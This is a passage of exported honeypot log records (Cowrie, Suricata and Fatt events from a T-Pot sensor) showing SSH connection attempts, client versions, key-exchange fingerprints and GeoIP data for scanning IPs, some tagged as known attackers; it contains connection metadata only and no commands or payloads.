23300	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:15.828272+03	2021-09-20 14:15:07.330471+03	{"_id": "xgbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8d4910fd90f3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:15.828272Z", "@timestamp": "2021-09-20T11:07:15.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23301	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:16.087962+03	2021-09-20 14:15:07.331471+03	{"_id": "twbjAnwBvYTbRNuEgAg2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1ae7cea2d161", "@version": "1", "duration": 2.4817793369293213, "timestamp": "2021-09-20T11:07:16.087962Z", "@timestamp": "2021-09-20T11:07:16.087Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23302	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:16.104582+03	2021-09-20 14:15:07.33247+03	{"_id": "ygbjAnwBvYTbRNuEggiu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1181854394967692, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33464, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.104582Z", "@timestamp": "2021-09-20T11:07:16.104Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23303	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:16.992689+03	2021-09-20 14:15:07.333471+03	{"_id": "1wbjAnwBvYTbRNuEhAgb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "189334179ce1", "@version": "1", "duration": 2.431610584259033, "timestamp": "2021-09-20T11:07:16.992689Z", "@timestamp": "2021-09-20T11:07:16.992Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23304	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:17.766986+03	2021-09-20 14:15:07.33447+03	{"_id": "BAbjAnwBvYTbRNuEhgmY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 838566249092088, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44522, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.766986Z", "@timestamp": "2021-09-20T11:07:17.766Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23305	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:17.866656+03	2021-09-20 14:15:07.33647+03	{"_id": "BgbjAnwBvYTbRNuEhgmY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1679591712597975, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57842, "dest_port": 22, "timestamp": "2021-09-20T11:07:17.866656Z", "@timestamp": "2021-09-20T11:07:17.866Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23306	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:08.805043+03	2021-09-20 14:15:07.33747+03	{"_id": "dQbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b6e45bc001e5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:08.805043Z", "@timestamp": "2021-09-20T11:07:08.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23307	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:09.077864+03	2021-09-20 14:15:07.338472+03	{"_id": "dwbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b6e45bc001e5", "@version": "1", "timestamp": "2021-09-20T11:07:09.077864Z", "@timestamp": "2021-09-20T11:07:09.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23308	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:09.14565+03	2021-09-20 14:15:07.339471+03	{"_id": "eAbjAnwBvYTbRNuEZAfR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a5e2e8aff59e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:09.145650Z", "@timestamp": "2021-09-20T11:07:09.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23309	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:07.969244+03	2021-09-20 14:15:07.34047+03	{"_id": "ggbjAnwBvYTbRNuEZAfS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33582, "timestamp": "2021-09-20T11:07:07.969244", "@timestamp": "2021-09-20T11:07:07.969Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23315	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:08.796996+03	2021-09-20 14:15:07.3485+03	{"_id": "iAbjAnwBvYTbRNuEZAfS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "a3895fee11a0", "@version": "1", "duration": 4.749032497406006, "timestamp": "2021-09-20T11:07:08.796996Z", "@timestamp": "2021-09-20T11:07:08.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23310	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:08.813406+03	2021-09-20 14:15:07.342471+03	{"_id": "gwbjAnwBvYTbRNuEZAfS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60092, "timestamp": "2021-09-20T11:07:08.813406", "@timestamp": "2021-09-20T11:07:08.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23311	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:07:08.858235+03	2021-09-20 14:15:07.343471+03	{"_id": "hAbjAnwBvYTbRNuEZAfS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 37728, "dest_port": 22, "timestamp": "2021-09-20T11:07:08.858235", "@timestamp": "2021-09-20T11:07:08.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23312	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:08.43052+03	2021-09-20 14:15:07.34447+03	{"_id": "hQbjAnwBvYTbRNuEZAfS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3f85a6359bdd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:08.430520Z", "@timestamp": "2021-09-20T11:07:08.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23313	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:08.441356+03	2021-09-20 14:15:07.345471+03	{"_id": "hgbjAnwBvYTbRNuEZAfS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "536182ae278d", "@version": "1", "duration": 2.70540714263916, "timestamp": "2021-09-20T11:07:08.441356Z", "@timestamp": "2021-09-20T11:07:08.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23314	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:08.7355+03	2021-09-20 14:15:07.346471+03	{"_id": "hwbjAnwBvYTbRNuEZAfS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3f85a6359bdd", "@version": "1", "timestamp": 